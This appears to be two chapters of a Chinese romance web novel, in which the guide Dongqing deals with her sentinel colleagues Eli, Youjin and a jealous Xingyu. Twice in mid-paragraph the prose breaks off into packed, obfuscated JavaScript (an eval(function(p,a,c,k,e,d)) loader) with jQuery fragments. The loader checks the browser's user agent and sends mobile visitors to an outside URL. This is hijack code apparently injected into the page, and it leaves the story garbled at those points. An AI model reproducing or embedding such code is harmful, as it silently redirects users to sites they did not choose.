20. 第 20 章 冬晴没料到自己能在这儿碰到伊莱,喜出望外地冲他挥手,大喊道:“伊莱!你们回来了!” 伊莱加快步子过来,见她神色自若,像是松开一口气般,伸手抚了一下她的头发,笑答:“嗯。” 两人走近了,冬晴注意到伊莱身边站在一个她没见过的男人。 一头鲜艳红发,个头比伊莱高一点,五官锐利到富有攻击性。 如果说星隅是藏不住的傲娇轻慢,那这人就是毫不掩饰的嚣张招摇。 连看人的眼神都十分直白,带有侵略意味的探究。 虽然完全没有见过他,但冬晴可以肯定,这就是那个被人在论坛上单开帖子,日日夜夜盼望归来的第一小队队长—— 游金。 跟想象中完全不同啊…… 听时诺向导说什么游金污染阈值高,出的任务都难度很大时,她还以为会是个看起来就很靠谱的男人。 结果,这一头红毛,怎么看怎么一副公子哥做派。 冬晴最擅长做的事情就是以貌取人,她对人的直觉也一向很准,自己跟这位游金队长…… 绝对气场不合。 她默默把视线收回来。 好久没见到伊莱,眼前乍然出现这张美脸,冬晴还是感到一股气血上涌。 一边在心里感慨“白塔塔花”不是白叫的,一边问:“伊莱,你来找时诺向导吗?” 伊莱点头:“也想过来看看你。” 冬晴受宠若惊似的脸红一阵,但又很快想起别的事:“星隅呢,他怎么样了?” “先去食堂了吧。”伊莱不太确定,又道,“刚刚回来的时候,他在入口处等了很久,我猜是在找你,但没看到人,有点生气的样子。” “今天人太多了,我就没有去。”冬晴解释完长叹了一口气。 唉,小猫啊小猫,到底有没有不生气的时候。 伊莱看她苦恼的表情,哑然失笑。 游金在一旁观察了半天,这时候总算开了口,盯着冬晴,音调上扬:“这位是……白塔新的S级向导?” 其余三人闻言都是一愣,还是伊莱先向他介绍:“冬晴是B级向导。” 游金若有所思地挑了挑眉。 伊莱、星隅,还有刚刚像是接吻姿势般和她站在一起的瑞尔。 一群S级哨兵、A级哨兵,什么情况下会和一个B级向导态度熟稔? 游金忽地眯起笑眼,嘴角挂着意味深长的笑:“原来是这样吗,冬晴向导?看来我真的离开太久,像是被抛弃了一样呢。” 冬晴背后霎时激起一层鸡皮疙瘩,更加确信自己先前的判断。 说真的,她当时对赫尔曼都没有这种脑中拉满警报的感觉! 她扯起嘴角,硬着头皮地喊了声“游金队长”,随即火速对伊莱道:“你们得去找时诺向导吧?我就不耽误你们时间了,快去吧!” 伊莱说“好”,离开前又停下脚步,问她:“下午有排班吗?我来找你。” 其实没有,可冬晴原本也会去坐班,但美人说要来找她。 心思千转百回了一番,冬晴最终答应:“好,那我下午就待在休息室。” 伊莱点头,笑着先和游金走远了。 “走吧。”冬晴同样带着瑞尔回到自己的休息室。 瑞尔下午还有训练,所以不能陪她太久,守着她吃完饭就依依不舍地离开。 冬晴没了人聊天,更是闲不住,打开全息研究起了几周后的排班。 这东西比净化费脑子得多,首先要给所有人一碗水端平,然后适度偏袒艾拉,最后再随意折磨自己。 两周的班排下来,她的头发又光荣成了鸡窝。 “别再折腾它了。” 刚要去揪头发的手被人轻轻按住,冬晴诧异地看向身边,竟然连伊莱什么时候过来了都不知道。 伊莱握着她的手腕,把她的手拉下,微笑着主动解释:“休息室的门没有关,我敲过,但你好像工作太专注了,没有听到。” 门应该是送瑞尔出去时没关紧。 她连连“哦”了两声道:“抱歉啊。” 伊莱对她摇头,意思是没什么好抱歉的。 视线落在冬晴此刻乱糟糟的头发上,他伸出手,将手指轻柔地插进她发间,然后一点点向下捋顺,直到发尾躺在他掌心里。 “我帮你扎起来吧。” 冬晴被他的举动和话语吓一跳,侧过头要去看他,感觉脑袋变得晕乎乎的:“不不不不、不用了吧?” 随着她转头的动作,丝绸般的乌发从手心里无法把握地滑落,伊莱直视着冬晴的双眼,但笑不语。 沉默是一种不肯退步的坚持。 冬晴几乎被他漂亮的眼睛蛊惑。 这样一个温柔美艳的人笑意盈盈地看着你,其实是勾引吧?其实是撒娇吧? 美色当前,坐怀不乱是君子,坐怀就乱是冬晴。 伊莱根本什么都没说,她就很不争气地妥协,把手腕上的皮筋扯下来,递到他手里。 然后红着耳朵转回头,把后脑勺对着伊莱。 感受到头发被人捧在手里,手指轻缓的动作间,蹭过耳朵,蹭过后颈。 冬晴心跳很快,感觉精神体好像控制不住地要跑出来,最后尽力控制着自己的状态,死死闭上眼。 记忆中,只有过一次别人给她扎头发的经历。 是个年长她几岁,并不相熟的姐姐。 那感觉让年幼的她仿佛飘在云端,很虚幻飘渺,而且转瞬即逝。 给她扎好头发后姐姐就要离开,她偷偷在姐姐身后跟了很久。 她甚至想把自己的头发解开,让她再帮忙扎一次,然后不厌其烦地重复这个过程。 灵活的手指在她发间穿梭,偶尔弄痒她,偶尔弄疼她,亲密的耳语,举重若轻地完成当时她做不好的事情。 她太渴望这种温柔如水的关怀。 “好了。” 伊莱的声音让她回过神来。 冬晴睁开眼,下意识地摸了一下脑后—— 然后摸到一个松松垮垮的马尾。 她呆愣地确认了三秒,最后忍俊不禁地“嗤”一声笑出来,调笑地抬眼看向伊莱: “什么嘛,还以为你会很熟练呢。” 伊莱在她身边坐下,并不为自己粗糙的成果感到羞涩:“确实比想象中困难。” 冬晴把放在脑后的手挪开,没有选择重新扎一个正常的马尾。 他注意这一点,眼中笑意更深了些,不过很快又因为要说的话而淡下去:“时诺向导告诉我,你不久前遇到污染物了。” 伊莱看着她点头,心中产生一股无力感。 当时不能在她身边守护,事后说再多的话也不痛不痒。 冬晴垂着眼帘,眼睫轻轻翕动。 作为直面污染物的一名向导,此刻再次提起这个话题,她心中升起的情绪却完全不是后怕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456227|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 兴许是刚刚扎头发的行为让她无端产生了一种别样的信任和依赖。 心脏砰砰直跳中,她竟然对伊莱说出了没有对任何人剖白过的心迹: “伊莱,你之前跟我说过,有些哨兵可能会仅因向导的靠近就感到安心……” 看着冬晴澄澈剔透如琉璃般抬起的双眼,含着少女珍贵的羞怯。 伊莱放在双腿上的手倏地收紧,眉头几不可查地一皱。 那双足以摄人心魄的眼睛直直盯着她,里面却流露出一种类似于乞求的神色。 头一回,他的声音不再是一贯的温和,而是带着点慌乱的颤抖:“嗯。” 然而,沉浸在奇妙情绪里的冬晴并没有注意到他的反常,继续诉说: “我大概、大概知道那是什么感觉了,就像我被污染以后……我觉得只有靠近瑞尔,才能缓解一切痛苦。” 皮与肉与骨紧紧摩擦,伊莱的整个拳头攥紧到发白。 在冬晴期待他能说些什么的目光中,伊莱觉得自己真的没有办法,向她展示一个漂亮的、真心的笑容了。 “是吗。”他听到自己无力地反问。 喉间有种窒息的感觉,却还是要生硬地挤出笑意。 真难听啊。 冬晴诚恳地点了点头,一时心中极为松快,语气雀跃:“这件事我只告诉了你一个人,赫尔曼队长可能知道?我也不太确定……” 该庆幸吗,伊莱想,作为她唯一一个敞开心扉的人。 作为唯一一个知道她对别人感到安心的人。 是可笑吧? 冬晴察觉伊莱沉默了一会儿,又突然意识到什么般,掀眼看她,目光灼灼:“冬晴,你知道这是为什么吗?” 为什么对瑞尔的靠近感到安心? 这有什么不知道的,冬晴诧异,她当时第一个想起的还是甲方妈妈呢,只不过见不到她了而已。 她回答:“因为瑞尔总是对我很好,我待在他身边会觉得安全。” 说完又觉得好像没有特别说在点上,补充道:“因为我们关系好。” ——关系好。 伊莱听到这三个字,先前的所有情绪一扫而空,弯起嘴角,这一次的应答听起来轻松很多:“嗯,你说得对。” “原来在这里啊,找了你半天。” 门外突然传来一道拖长语调、懒散的声音打断他们。 两人一齐往外看去,发现是游金正靠在门口说话。 伊莱站起身:“你找我?什么事。” “我找你干什么。”游金嗤笑一声,双手插在口袋,“当然是高层议会的大人物们要找你了。” 伊莱闻言看向冬晴,对她道别:“那我得先走了。” 冬晴点点头,见他迈步往外走,突然也站起,跟在他身后。 倒不是要送送伊莱什么的,主要是为了趁机过去把门关上。 她明明记得伊莱进来后自己看见门是关上的,只不过没锁而已。 游金这人绝对是连门都没敲就擅自开门了吧?! 她神不知鬼不觉地溜到了门边上,看着伊莱彻底走出门,握住门把手正要关—— 门刚静悄悄地转到一半。 还靠在门框上的游金忽然将脸转过来,变脸似的从冷漠的神情里换出一个笑容来。 他瞧着想把他偷偷关出门外,但因为被发现而不得不停下动作的冬晴,玩味喊道: “冬晴向导?” 21. 第 21 章 淦!! 这动作,这语气,这神态。 怎么看都不像是好人吧?! 冬晴浑身激灵,面部肌肉抖了抖,僵硬地笑起来:“游金队长,你不用去高层议会吗?” “我?”游金像是听到什么笑话般反问,一手抵在门板上,暗暗用力,把半合的门推到了敞开状态,不屑道,“他们才不会给自己找不痛快。” 虽然不想这么说,但冬晴不得不承认,游金在对待高层议会的态度上,和她还是英雄所见略同的。 休息室的门被彻底打开,冬晴又不想让他进去,只好以身殉门地用小身板挡在门口。 笑容更是肉眼可见的尴尬而不失礼貌,从头到脚透露着三个大字: 不!待!见! 游金不是看不懂别人脸色的那种人,从前更没人会冲他摆冷屁股。 但此刻,看着冬晴并不多加掩藏、反而故意想让他知道的抗拒意思,他还真是一点都不想走。 不让他进去?没关系,那他就待在门口,反正她也赶不走他。 游金很有厚脸皮的天赋,倚靠在门框上,自顾自地开启话题:“冬晴向导,你最近在白塔好像很出名?我一上论坛就看见了很多关于你的帖子,什么人美心善、任劳任怨,什么面对污染物面不改色、沉着冷静……” 到底要说什么…… 冬晴听着从他嘴里蹦出来的褒奖成语,眉眼间隐隐有了不耐的神色。 “哈哈……”她干笑两声打断他的话,敷衍道,“那都是大家发着玩的。对了游金队长,你刚从污染区回来,得好好休息吧,那我就不占用你时间了……” 冬晴眼睁睁看着游金的脸色在她话说到一半的一瞬间全垮了下来,眼神幽幽地盯着她,令她不得不将最后一句赶人的话语“咕咚”一声咽回肚子里。 看吧!看吧!! 露出真面目了吧? 阴晴不定,受一点冷落就觉得没面子,开始摆脸色的男人!! 但是这要怎么办?她也没说什么过分的话啊! 不会就此被记恨,被职场排挤了吧?! 可恶的S级同事啊…… 冬晴的表情一时间变得五颜六色,游金默默观察着,忽地俯身,把头挨近她,真诚地问: “你讨厌我?为什么。我听时诺说你跟赫尔曼的关系都很不错,我可比那种家伙友善多了吧,我还蝉联了好几届白塔最好相处的S级哨兵冠军呢。” 这都什么跟什么…… 冬晴语塞地往后退开一步。 也说不上讨厌吧……毕竟他们才见第一面,有什么可讨厌的。 单纯不合眼缘,不想和他相处而已。 “没有讨厌啊,游金队长你想多了吧。” 冬晴挂起笑,一边装傻,一边把这个太过尖锐的话题扯开:“你刚刚说最好相处的S级哨兵?伊莱竟然也没比过游金队长你吗?” 她装傻充愣和转移视线的水平不算高超,但好歹在主动和他闲谈。 游金没有选择咄咄逼人地问下去,而是直起身,如她所愿地把话题接过:“伊莱?你对他有什么误解吧,那种只会跟人冷冷地微笑点头的人,不是在谁面前都是一副贤夫良父做派的。” 什么贤夫良父,这人就没有好听点的用词吗。 冬晴假模假样地弯着眼,在心里吐槽完,还要一副很惊讶的样子:“哇,那游金队长你真是超受欢迎呢!” “啧。”游金不悦地咂舌。 跟伊莱说话的时候不是很自然吗,怎么一到他面前就开始装了,难道不累吗? 冬晴假笑的嘴角开始不受控地抽动:累啊!当然累!比净化一天B级哨兵都累!! 她觉得自己不能再跟游金尬聊下去了,趁机假装用光脑看了个时间,浮夸地倒吸一口凉气:“天呢!人美心善、任劳任怨的我该去静音室坐班了,游金队长我们下次有时间再聊吧!” 在游金答复她之前,冬晴一气呵成地关门、锁门,然后迫不及待地开溜了。 看着她落荒而逃的背影,游金双手抱胸,懒洋洋地高声道:“没关系冬晴向导,接下来我们可有的是时间,毕竟他们很快就会滚蛋了。” 冬晴压根听不懂,但还是小跑着扭回上半身,冲他比了个坚定的大拇指,随即跑得更快了。 意思是,虽然我不知道你在说什么,但你说得都对,所以我就先走了。 彻底跑出游金的视野,冬晴这才松了口气地慢下脚步。 晃晃悠悠地往静音室走,远远看见门口的候位长椅上坐着个人。 嗯?她都还没开启自己的静音室权限,谁会在那里等她? 她眯着眼定睛一看,发现是个低垂着的、毛茸茸的金发脑袋。 星隅? 她嘴角勾起来,兴奋地放轻脚步走过去。 “小猫!” 冬晴一下跳到他面前,落地发出重重的声响。 弯着腰,两只手在他眼前比了个猫爪的手势,试图吓唬他。 星隅第一次听到这样的称呼,抬头皱眉看了她一眼。 很快又撇开脸不说话,不想理她的样子。 冬晴假装看不出他在生闷气,自然地打开静音室的门,问:“怎么在这里等我,没看B级向导的排班吗?我下午本来没有班哦!” 星隅起身跟着她走进去,原本不想和她说话,忍了又忍,还是忍不住,刻薄道: “现在白塔谁不知道你有多敬业,把静音室当宿舍住,还净化到精神力透支。” 小猫生气的时候讲话真不留情啊,冬晴在内心汗颜地想。 她给星隅倒了杯水,嬉皮笑脸地回答:“你出任务竟然还有时间逛论坛?小心我跟伊莱队长告状!” 星隅“哼”一声扭开脸,也不喝她倒的水,背靠沙发坐在地毯上,双膝曲起,一副把自己缩成一团的样子。 生气得十分刻意了…… 冬晴依旧视而不见,正常和他交谈:“去A级向导那里净化过了吗?” 星隅又冷哼一声,不理人。 冬晴十分头疼,不想陪他闹,一边打开光脑一边道:“没有别的事情的话我就打开静音室权限,开始工作喽?” 星隅咬着牙深吸了两口气,冬晴的光脑则停留在静音室权限的界面,等他回复。 其实她以为,依照星隅的性格,大概会觉得放不下面子,然后红着眼睛,头也不回地离开她的静音室。 但出乎意料,在两声有点重的呼吸声后,星隅强装镇定的声音在室内响起:“为什么不来接我?” 竟然问出口了?冬晴诧异地把目光看过去。 发现星隅依旧窝在角落,埋起了一点脸,不肯看她。 这样才对嘛,冬晴关闭光脑,朝他走过去。 生气了就要说出来,整天闷在心里只给她一个暗戳戳的信号,猜来猜去的多累呀。 她在星隅身边蹲下,欣慰地认真解释: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466425|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这次人实在太多了,我不喜欢挤在人堆里面。” 星隅不想接受这个理由:“你上次都去接瑞尔了……况且,不来的话为什么不给我发消息!” 冬晴有点哭笑不得,她本来也没有说要去接他,为什么就默认了。 “好了好了,那就算我的错。”冬晴伸出手指点了点他的胳膊,哄道,“下次,下次我肯定来接你,好不好?” 星隅扭头盯了她一眼,显然没有消气,反而看起来更委屈了:“你是不是觉得瑞尔比我好?” 哈?冬晴觉得莫名其妙地皱了一下眉。 瑞尔本来就好啊,也不会这样跟她生奇怪的闷气。 但是他们怎么都这么关注瑞尔,上次赫尔曼也是吧,聊得好好的,结果突然问她瑞尔是什么人。 果然,太完美的小狗容易遭人记恨。 许久没等到她回答,星隅就知道了答案。 猛地把头撇开,同时,一颗豆大的泪珠滚了下来。 越想越觉得难过,于是一颗接着一颗,断线的珍珠似的,偏偏眼泪掉得凶,但死命咬着牙,一声不吭。 喂喂喂喂喂! 冬晴吓得一屁股坐在地上,难以置信地看着他,疯狂眨眼,一副“星隅,你是疯了吗”的表情。 又哭?又哭?! 她惊慌失措,赶紧抽了两张纸巾,糊到他脸上去给他擦泪:“这这这、这是怎么了?别哭啊!你跟我说怎么了啊?!” 她想了想,实在没办法,只能昧着良心哄道:“没有觉得瑞尔比你好,一样好一样好!哈哈……大家都是好同事,不要攀比嘛……” 星隅越听越气,越听越委屈。 骤然反身一扑,双手紧紧箍住她的腰,满脸泪珠的脸庞埋在她颈和胸之间的部分。 抽抽噎噎地说:“你都不知道我有多担心!在入口处没找到你,我还以为你的污染很严重!追着瑞尔去问,才知道你早就没什么事了。你不来接我,也什么都不跟我说,却和瑞尔一起吃饭……” 明明就是想关心她啊,冬晴松下肩膀,无奈地想,来好好问她不就行了,干嘛要整得这么苦大仇深。 她把星隅的脑袋从自己身上掰开,这个姿势也不太好再去拿纸巾,索性用自己的指腹把他脸上的泪痕擦干净,无所谓道: “哭得这么惨,害得我以为是什么大事。你跟瑞尔一样不就好了,也来找我吃饭,也来找我聊天,只要我有空,不会拒绝你的。” 她的手指一路从脸颊蹭上去,最后蹭到眼睛,按着他的眼帘让他闭眼,揩过湿漉漉的睫毛。 水润润地抹开,抹到他眼尾的小痣上面。 长得这么漂亮,脾气却这么难搞。 冬晴盯着他那颗在水光下格外艳丽的泪痣,感到腰间的手又收紧了几分。 星隅微仰着脸,看她有几分失神的模样,轻轻眨了眨眼,蛊惑般反问:“不会拒绝我吗?” 气氛很奇怪,冬晴觉得自己也很奇怪。 要顺应这个奇怪的世界去做事吗? 变成跟他们一样奇怪的人,这样会轻松很多吧? 她带着这样的疑问,和砰砰直跳的心脏,忽然俯下脸,在他的眼尾处亲了一下。 一触及分,唇瓣上有湿润的触感。 心脏跳得更快了。 她慌张地咽了咽口水,整个人陷入一种不确定对错的迷茫中,却还是开口: “不会拒绝你,以后可以不哭了吗?”